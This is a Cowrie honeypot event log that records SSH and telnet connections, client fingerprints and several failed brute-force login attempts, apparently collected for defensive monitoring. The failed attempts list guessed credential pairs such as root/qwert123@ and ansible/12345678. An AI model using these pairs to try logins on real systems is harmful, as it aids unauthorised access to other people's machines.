{"eventid":"cowrie.session.closed","duration":35.029526233673096,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:43.188686Z","src_ip":"135.148.33.91","session":"39763863394d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":60600,"dst_ip":"10.17.0.5","dst_port":22,"session":"49494d893394","protocol":"ssh","message":"New connection: 161.248.189.72:60600 (10.17.0.5:22) [session: 49494d893394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:43.413726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:43.418843Z","src_ip":"161.248.189.72","session":"49494d893394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:43.649006Z","src_ip":"161.248.189.72","session":"49494d893394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert123@","message":"login attempt [root/qwert123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:44.604284Z","src_ip":"161.248.189.72","session":"49494d893394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.445109844207764,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:44.662716Z","src_ip":"135.148.33.91","session":"d96f9aa6f7d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.550354957580566,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:45.140872Z","src_ip":"135.148.33.91","session":"3c95056a3d8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:45.837301Z","src_ip":"161.248.189.72","session":"49494d893394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":59660,"dst_ip":"159.203.135.109","dst_port":23,"session":"294d7b3f2760","protocol":"telnet","message":"New connection: 104.140.145.149:59660 (159.203.135.109:23) [session: 294d7b3f2760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:47.025791Z"}
{"eventid":"cowrie.session.closed","duration":0.006150007247924805,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:47.031821Z","src_ip":"104.140.145.149","session":"294d7b3f2760","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":33348,"dst_ip":"159.203.135.109","dst_port":23,"session":"52ac0c783648","protocol":"telnet","message":"New connection: 135.148.33.91:33348 (159.203.135.109:23) [session: 52ac0c783648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:49.675217Z"}
{"eventid":"cowrie.session.closed","duration":36.14313769340515,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:13:57.531163Z","src_ip":"135.148.33.91","session":"2fa39dcd72c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":33000,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec435ae6c892","protocol":"ssh","message":"New connection: 185.158.22.150:33000 (159.203.135.109:22) [session: ec435ae6c892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:04.186216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:04.192371Z","src_ip":"185.158.22.150","session":"ec435ae6c892","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:04.350470Z","src_ip":"185.158.22.150","session":"ec435ae6c892","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"password123","message":"login attempt [developer/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:05.007393Z","src_ip":"185.158.22.150","session":"ec435ae6c892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:06.168070Z","src_ip":"185.158.22.150","session":"ec435ae6c892","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45426,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c00925e29c1","protocol":"telnet","message":"New connection: 135.148.33.91:45426 (159.203.135.109:23) [session: 8c00925e29c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:07.444509Z"}
{"eventid":"cowrie.session.closed","duration":35.828280448913574,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:07.684389Z","src_ip":"135.148.33.91","session":"7962e22db0ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46108,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bd64f67ca9d","protocol":"telnet","message":"New connection: 135.148.33.91:46108 (159.203.135.109:23) [session: 3bd64f67ca9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:08.656120Z"}
{"eventid":"cowrie.session.closed","duration":34.87530755996704,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:13.587236Z","src_ip":"135.148.33.91","session":"c16c68eac91c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.89038443565369,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:15.294191Z","src_ip":"135.148.33.91","session":"0267a14567e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51374,"dst_ip":"159.203.135.109","dst_port":23,"session":"a71fd5faad2c","protocol":"telnet","message":"New connection: 135.148.33.91:51374 (159.203.135.109:23) [session: a71fd5faad2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:17.659797Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51962,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b4f702de6c9","protocol":"telnet","message":"New connection: 135.148.33.91:51962 (159.203.135.109:23) [session: 8b4f702de6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:18.624501Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":54786,"dst_ip":"159.203.135.109","dst_port":23,"session":"40adb84388c8","protocol":"telnet","message":"New connection: 104.140.145.149:54786 (159.203.135.109:23) [session: 40adb84388c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:19.429138Z"}
{"eventid":"cowrie.session.closed","duration":0.005559444427490234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:19.434573Z","src_ip":"104.140.145.149","session":"40adb84388c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.814998388290405,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:22.490097Z","src_ip":"135.148.33.91","session":"52ac0c783648","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55052,"dst_ip":"159.203.135.109","dst_port":23,"session":"14b62bb66891","protocol":"telnet","message":"New connection: 135.148.33.91:55052 (159.203.135.109:23) [session: 14b62bb66891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:24.530249Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":51564,"dst_ip":"159.203.135.109","dst_port":23,"session":"81427775c618","protocol":"telnet","message":"New connection: 104.140.145.149:51564 (159.203.135.109:23) [session: 81427775c618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:34.119811Z"}
{"eventid":"cowrie.session.closed","duration":33.65859055519104,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:41.102977Z","src_ip":"135.148.33.91","session":"8c00925e29c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":37708,"dst_ip":"159.203.135.109","dst_port":23,"session":"fef967421a67","protocol":"telnet","message":"New connection: 135.148.33.91:37708 (159.203.135.109:23) [session: fef967421a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:41.299202Z"}
{"eventid":"cowrie.session.closed","duration":35.26605224609375,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:43.922081Z","src_ip":"135.148.33.91","session":"3bd64f67ca9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":15052,"dst_ip":"159.203.135.109","dst_port":22,"session":"da9eff80396b","protocol":"ssh","message":"New connection: 185.158.22.150:15052 (159.203.135.109:22) [session: da9eff80396b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:50.981545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:50.990368Z","src_ip":"185.158.22.150","session":"da9eff80396b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:51.148308Z","src_ip":"185.158.22.150","session":"da9eff80396b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":60678,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5fa036541f1","protocol":"ssh","message":"New connection: 161.248.189.72:60678 (10.17.0.5:22) [session: d5fa036541f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:51.610842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:51.615292Z","src_ip":"161.248.189.72","session":"d5fa036541f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"linux123","message":"login attempt [ubuntu/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:51.812760Z","src_ip":"185.158.22.150","session":"da9eff80396b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:51.845485Z","src_ip":"161.248.189.72","session":"d5fa036541f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"12345678","message":"login attempt [ansible/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:52.802109Z","src_ip":"161.248.189.72","session":"d5fa036541f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:52.973505Z","src_ip":"185.158.22.150","session":"da9eff80396b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:54.035856Z","src_ip":"161.248.189.72","session":"d5fa036541f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.967010736465454,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:55.626695Z","src_ip":"135.148.33.91","session":"a71fd5faad2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.80993390083313,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:56.434302Z","src_ip":"135.148.33.91","session":"8b4f702de6c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47482,"dst_ip":"159.203.135.109","dst_port":23,"session":"d486d57b6aa0","protocol":"telnet","message":"New connection: 135.148.33.91:47482 (159.203.135.109:23) [session: d486d57b6aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:56.611930Z"}
{"eventid":"cowrie.session.closed","duration":34.66738557815552,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:14:59.197486Z","src_ip":"135.148.33.91","session":"14b62bb66891","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54516,"dst_ip":"159.203.135.109","dst_port":23,"session":"43e5e41e9232","protocol":"telnet","message":"New connection: 135.148.33.91:54516 (159.203.135.109:23) [session: 43e5e41e9232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:08.428636Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54650,"dst_ip":"159.203.135.109","dst_port":23,"session":"b687ce22298c","protocol":"telnet","message":"New connection: 135.148.33.91:54650 (159.203.135.109:23) [session: b687ce22298c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:09.566288Z"}
{"eventid":"cowrie.session.closed","duration":39.19683241844177,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:13.316527Z","src_ip":"104.140.145.149","session":"81427775c618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.1992347240448,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:18.498312Z","src_ip":"135.148.33.91","session":"fef967421a67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":32904,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccc2b5db5d9b","protocol":"telnet","message":"New connection: 135.148.33.91:32904 (159.203.135.109:23) [session: ccc2b5db5d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:19.836225Z"}
{"eventid":"cowrie.session.closed","duration":36.2711763381958,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:32.883008Z","src_ip":"135.148.33.91","session":"d486d57b6aa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":13579,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbe0cf77e8b5","protocol":"ssh","message":"New connection: 185.158.22.150:13579 (159.203.135.109:22) [session: bbe0cf77e8b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:36.452826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:36.457339Z","src_ip":"185.158.22.150","session":"bbe0cf77e8b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:36.625549Z","src_ip":"185.158.22.150","session":"bbe0cf77e8b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"useruser","password":"useruser","message":"login attempt [useruser/useruser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:37.311291Z","src_ip":"185.158.22.150","session":"bbe0cf77e8b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:38.478688Z","src_ip":"185.158.22.150","session":"bbe0cf77e8b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.17662596702576,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:41.605153Z","src_ip":"135.148.33.91","session":"43e5e41e9232","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.808390378952026,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:43.374532Z","src_ip":"135.148.33.91","session":"b687ce22298c","protocol":"telnet"}
